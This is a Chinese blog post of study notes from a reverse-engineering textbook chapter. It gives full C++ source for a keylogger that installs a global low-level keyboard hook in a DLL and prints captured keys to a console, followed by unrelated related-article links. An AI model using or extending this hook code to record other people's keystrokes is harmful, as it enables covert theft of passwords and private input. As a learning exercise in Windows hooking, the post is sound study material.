逆向工程核心原理 Chapter22 | 恶意键盘记录器

news2024/11/14 12:06:56

教程这一章没给具体的实现,这里在Chapter21学习的基础上,试着实现一个键盘记录器。

键盘记录器实现

这里有个技术问题:记录下的敲击键(在KeyHook.dll中捕获的)(可以用wParam)怎么打印出来(在HookMain.exe中)?

第一种:记录在本地文件。这种实现比较简单。

第二种:与HookMain.exe通信。这种可以学到更多Windows编程知识。

这里实现第二种:

通信实现键盘记录

HookMain.cpp:

#include<iostream>
#include<Windows.h>

#define LOAD_DLL "KeyHook.dll"
typedef void(*func)(); // 函数指针
signed main() {
	HMODULE hDll = NULL;
	func HookStart = NULL;
	func HookStop = NULL;
	char ch = 0;

	hDll = LoadLibraryA(LOAD_DLL);
	HookStart = (func)GetProcAddress(hDll, "HookStart");
	HookStop = (func)GetProcAddress(hDll, "HookStop");
	HookStart();
	HookStop();
	FreeLibrary(hDll);
	return 0;
}

KeyHook.cpp

要注意使用WH_KEYBOARD_LL

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include<windows.h>
#include<stdio.h>
#include<iostream>
#include<conio.h>
using namespace std;

HINSTANCE hInstance = NULL;
HHOOK hHook = NULL;
HWND hWnd = NULL;

BOOL APIENTRY DllMain(HMODULE hModule,
	DWORD  ul_reason_for_call,
	LPVOID lpReserved
)
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH: // 进程创建时调用
		hInstance = hModule;
		break;
	case DLL_PROCESS_DETACH: // 进程结束时调用
		break;
	}
	return TRUE;
}

LRESULT CALLBACK keyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
	KBDLLHOOKSTRUCT* ks = (KBDLLHOOKSTRUCT*)lParam;

	/*
	typedef struct tagKBDLLHOOKSTRUCT {
	DWORD   vkCode;   // 按键代号
	DWORD   scanCode;  //硬件扫描代号
	DWORD   flags;  //事件类型 按下:0 抬起:128
	DWORD   time;
	ULONG_PTR dwExtraInfo;
} KBDLLHOOKSTRUCT, FAR *LPKBDLLHOOKSTRUCT, *PKBDLLHOOKSTRUCT;
	*/
	if (ks->flags == 128 || ks->flags == 129) {
		switch (ks->vkCode) {
		case 0x30: case 0x60:
			cout << "检测到按键:" << "0" << endl;
			break;
		case 0x31: case 0x61:
			cout << "检测到按键:" << "1" << endl;
			break;
		case 0x32: case 0x62:
			cout << "检测到按键:" << "2" << endl;
			break;
		case 0x33: case 0x63:
			cout << "检测到按键:" << "3" << endl;
			break;
		case 0x34: case 0x64:
			cout << "检测到按键:" << "4" << endl;
			break;
		case 0x35: case 0x65:
			cout << "检测到按键:" << "5" << endl;
			break;
		case 0x36: case 0x66:
			cout << "检测到按键:" << "6" << endl;
			break;
		case 0x37: case 0x67:
			cout << "检测到按键:" << "7" << endl;
			break;
		case 0x38: case 0x68:
			cout << "检测到按键:" << "8" << endl;
			break;
		case 0x39: case 0x69:
			cout << "检测到按键:" << "9" << endl;
			break;
		case 0x41:
			cout << "检测到按键:" << "A" << endl;
			break;
		case 0x42:
			cout << "检测到按键:" << "B" << endl;
			break;
		case 0x43:
			cout << "检测到按键:" << "C" << endl;
			break;
		case 0x44:
			cout << "检测到按键:" << "D" << endl;
			break;
		case 0x45:
			cout << "检测到按键:" << "E" << endl;
			break;
		case 0x46:
			cout << "检测到按键:" << "F" << endl;
			break;
		case 0x47:
			cout << "检测到按键:" << "G" << endl;
			break;
		case 0x48:
			cout << "检测到按键:" << "H" << endl;
			break;
		case 0x49:
			cout << "检测到按键:" << "I" << endl;
			break;
		case 0x4A:
			cout << "检测到按键:" << "J" << endl;
			break;
		case 0x4B:
			cout << "检测到按键:" << "K" << endl;
			break;
		case 0x4C:
			cout << "检测到按键:" << "L" << endl;
			break;
		case 0x4D:
			cout << "检测到按键:" << "M" << endl;
			break;
		case 0x4E:
			cout << "检测到按键:" << "N" << endl;
			break;
		case 0x4F:
			cout << "检测到按键:" << "O" << endl;
			break;
		case 0x50:
			cout << "检测到按键:" << "P" << endl;
			break;
		case 0x51:
			cout << "检测到按键:" << "Q" << endl;
			break;
		case 0x52:
			cout << "检测到按键:" << "R" << endl;
			break;
		case 0x53:
			cout << "检测到按键:" << "S" << endl;
			break;
		case 0x54:
			cout << "检测到按键:" << "T" << endl;
			break;
		case 0x55:
			cout << "检测到按键:" << "U" << endl;
			break;
		case 0x56:
			cout << "检测到按键:" << "V" << endl;
			break;
		case 0x57:
			cout << "检测到按键:" << "W" << endl;
			break;
		case 0x58:
			cout << "检测到按键:" << "X" << endl;
			break;
		case 0x59:
			cout << "检测到按键:" << "Y" << endl;
			break;
		case 0x5A:
			cout << "检测到按键:" << "Z" << endl;
			break;
		case 0x6A:
			cout << "检测到按键:" << "*" << endl;
			break;
		case 0x6B:
			cout << "检测到按键:" << "+" << endl;
			break;
		case 0x6D:
			cout << "检测到按键:" << "-" << endl;
			break;
		case 0x6E:
			cout << "检测到按键:" << "." << endl;
			break;
		case 0x6F:
			cout << "检测到按键:" << "/" << endl;
			break;
		case 0x0D:
			cout << "检测到按键:" << "Enter" << endl;
			break;
		case 0xA0: case 0xA1:
			cout << "检测到按键:" << "Shift" << endl;
			break;
		case 0x08:
			cout << "检测到按键:" << "Backspace" << endl;
			break;
		case 0x20:
			cout << "检测到按键:" << "Space" << endl;
			break;
		}

		// return 1; // 直接return就不传递(也就是拦截下来)
	}
	return CallNextHookEx(NULL, nCode, wParam, lParam);
}

#ifdef __cplusplus
extern "C" {
#endif
	__declspec(dllexport) void HookStart() {
		hHook = SetWindowsHookEx(WH_KEYBOARD_LL, keyboardProc, hInstance, 0);
		if (hHook == 0) {
			cout << "hook failed!\n";
		}
		MSG msg;
		while (1) {
			if (PeekMessageA(
				&msg,
				NULL,
				NULL,
				NULL,
				PM_REMOVE
			)) {
				TranslateMessage(&msg);
				DispatchMessageW(&msg);
			}
			else Sleep(0);
		}
	}
	__declspec(dllexport) void HookStop() {
		if (hHook) {
			UnhookWindowsHookEx(hHook);
			hHook = NULL;
		}
	}
#ifdef __cplusplus
}
#endif

效果:

在这里插入图片描述

防范恶意键盘记录器

虽然与逆向无关,但是这些还是蛮有必要的。

在这里插入图片描述

总结

多写,多练。Windows编程一定得精通才行。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2095701.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

二叉树和堆知识点

1 特殊二叉树 1. 满二叉树&#xff1a;一个二叉树&#xff0c;如果每一个层的结点数都达到最大值&#xff0c;则这个二叉树就是满二叉树。也就是 说&#xff0c;如果一个二叉树的层数为K&#xff0c;且结点总数是 &#xff0c;则它就是满二叉树。 2. 完全二叉树&#xff1a;完全…

前端打包部署,Nginx服务器启动

前端vue打包部署 前端vue打包部署&#xff0c;执行NPM脚本下的build vue-cli-service... 生成dist文件夹 Nginx服务器 将刚刚的静态资源部署到Nginx

小白学装修(准备阶段)

装修还是 实事求是 脚踏实地 多用心 多学习 视频&#xff1a; 你离摆脱装修小白身份&#xff0c;只差这一个视频&#xff01;_哔哩哔哩_bilibili 本篇文章所涉及到的文件&#xff08;记得给诡计从不拖更一件三联&#xff09; 给诡计投币换的装修预算表资源-CSDN文库 住户…

【Python报错已解决】“ValueError: If using all scalar values, you must pass an index“

&#x1f3ac; 鸽芷咕&#xff1a;个人主页 &#x1f525; 个人专栏: 《C干货基地》《粉丝福利》 ⛺️生活的理想&#xff0c;就是为了理想的生活! 文章目录 引言&#xff1a;一、问题描述1.1 报错示例&#xff1a;以下是一个可能引发上述错误的代码示例。1.2 报错分析&#x…

Docker 镜像构建

1、Docker 镜像结构 Docker镜像的结构是分层的&#xff0c;这种结构是Docker镜像轻量化和高效性的关键。每个Docker镜像都由一系列的“镜像层”&#xff08;image layers&#xff09;组成&#xff0c;这些层通过UnionFS&#xff08;联合文件系统&#xff09;技术叠加在一起&am…

磐石云语音识别引擎

磐石云发布了V1.2.2版本语音识别引擎。 经过严格客观的测试识别效果和阿里云、讯飞、火山进行了对比几乎无差。&#xff08;欢迎对比测试&#xff09; 上图是CPU下的流式识别效果 RTF0.1~0.14,也就是一并发一个小时大约处理7~10小时&#xff0c;这取决于硬件的配置&#xff0…

基于SpringBoot的教务与课程管理系统

&#x1f4a5;&#x1f4a5;源码和论文下载&#x1f4a5;&#x1f4a5;&#xff1a;基于SpringBoot的教务与课程管理系统源码论文报告数据库.rar 1. 系统介绍 随着计算机科学技术的迅猛进步及高等教育体系改革的持续深化&#xff0c;传统的教育管理方式、工具及其操作效率已经难…

APP测试(十一)

APP测试要点提取与分析 一、功能测试 APP是什么项目&#xff1f;核心业务功能梳理清楚 — 流程图分析APP客户端的单个功能模块 — 细化分析 需要使用等价类&#xff0c;边界值&#xff0c;考虑正常和异常情况&#xff08;长度&#xff0c;数据类型&#xff0c;必填&#xff0…

JavaFX基本控件-Label

JavaFX基本控件-Label 常用属性textpaddingalignmenttextAlignmentwidthheighttooltipborderwrapTextellipsisStringunderline 实现方式Java实现fxml实现 常用属性 text 设置文本内容 label.setText("这是一个测试数据");padding 内边距 label.setPadding(new Inset…

Python计算机视觉四章-照相机模型与增强现实

目录 4.1针孔照相机模型 4.1.1照相机矩阵 4.1.2 三维点的投影 4.1.3 照相机矩阵的分解 4.1.4 计算照相机中心 4.2 照相机标定 4.2.1 一个简单的标定方法 4.3 以平面和标记物进行姿态估计 4.4 增强现实 4.4.1 PyGame和PyOpenGL 4.4.2 从照相机矩阵到OpenGL格式 4…

部署Rancher2.9管理K8S1.26集群

文章目录 一、实验须知1、Rancher简介2、当前实验环境 二、部署Rancher1、服务器初始化操作2、部署Rancher3、登入Rancher平台 三、Rancher对接K8S集群四、通过Rancher仪表盘部署Nginx服务1、创建命名空间2、创建Deployment3、创建Service 一、实验须知 1、Rancher简介 中文官…

碎碎恋之懒加载和预加载

目录 0 前言1 fragment复习1.1 静态创建1.2 动态创建1.3 两者生命周期1.4 fragment之间的通信 0 前言 懒加载&#xff0c;延迟加载&#xff1b;如kotlin中初始化&#xff1b;减小资源消耗&#xff0c;可以避免同一时间需要加载的内容过多。 预加载&#xff0c;提前加载&#x…

经典大语言模型解读(2):生成式预训练的先锋GPT-1

论文地址&#xff1a;Improving Language Understanding by Generative Pre-Training 概述 现实世界中包含了大量的文本语料数据&#xff0c;然而&#xff0c;绝大多数语料都是无标签的。 为了充分利用这些无标签语料库&#xff0c;GPT1.0提出直接利用这些未标记的语料来进行…

【BLE】三.GATT/ATT规范

基本概念回顾 CS交互流程 SPP&#xff08;蓝牙透传&#xff09;的示例初始化&#xff1a; SPP示例运行过程&#xff1a; GATTS&GAP回调&#xff1a; 黄色&#xff1a;事件回调 绿色&#xff1a;事件 蓝色&#xff1a;执行 GATTC&GAP回调&#xff1a; 服务特征…

安全入门day.04

一、密码存储加密知识点 1、MD5 MD5加密是一种广泛使用的密码杂凑函数&#xff0c;它可以将任意长度的信息通过一系列复杂的数学和位操作转化为一个128位&#xff08;16字节&#xff09;的散列值&#xff08;hash value&#xff09;&#xff0c;这个散列值通常被表示为一个32位…

【Qt】工具栏

工具栏 工具栏是应用程序中集成各种功能实现快捷键使用的一个区域。 在Qt中使用QToolBar表示工具栏对象&#xff0c;一个窗口可以有多个工具栏&#xff0c;也可以没有&#xff0c;工具栏也是可以进行手动移动位置。 例子&#xff1a;创建工具栏 &#xff08;1&#xff09;创…

信息系统运维服务方案(Word原件完整版)

1 编制目的 2 系统运行维护 2.1 系统运维内容 2.2 日常运行维护方案 2.2.1 日常巡检 2.2.2 状态监控 2.2.3 系统优化 2.2.4 软件系统问题处理及升级 2.2.5 系统数据库管理维护 2.2.6 灾难恢复 2.3 应急运行维护方案 2.3.1 启动应急流程 2.3.2 成立应急小组 2.3.3 …

【hot100篇-python刷题记录】【轮转数组】

R7-数组篇 思路&#xff1a; 印象题&#xff0c;我记得可以使用python切片拼接 python切片 要轮转k个位置&#xff0c;那从第k个下标开始切片&#xff0c;然后拼接[0,k) class Solution:def rotate(self, nums: List[int], k: int) -> None:"""Do not re…

云计算第二阶段---DBA Day8-Day9

DBA Day8 该阶段的2天内容,都会和数据库中间件,集群配置有关. 什么是中间件&#xff1f; 通俗来说&#xff0c;就是在正式文件内容从客户端发送或获取请求时&#xff0c;在传播过程中地点中间商&#xff0c;负责管理请求&#xff0c;并对其进行分类。 环境准备: 准备…

【入门教程】基于深度学习的遥感图像分割流程(附代码)

本文为入门遥感图像分割的朋友提供一份详细教程&#xff0c;看完你将收获&#xff1a; 大致了解图像分割的基本流程能够独立完成从拿到数据集到完成分割结果并评估的任务 有任何问题欢迎关注or私信&#xff0c;看到即回复&#xff0c;文末附代码链接。 文章目录 0.引言1.数据…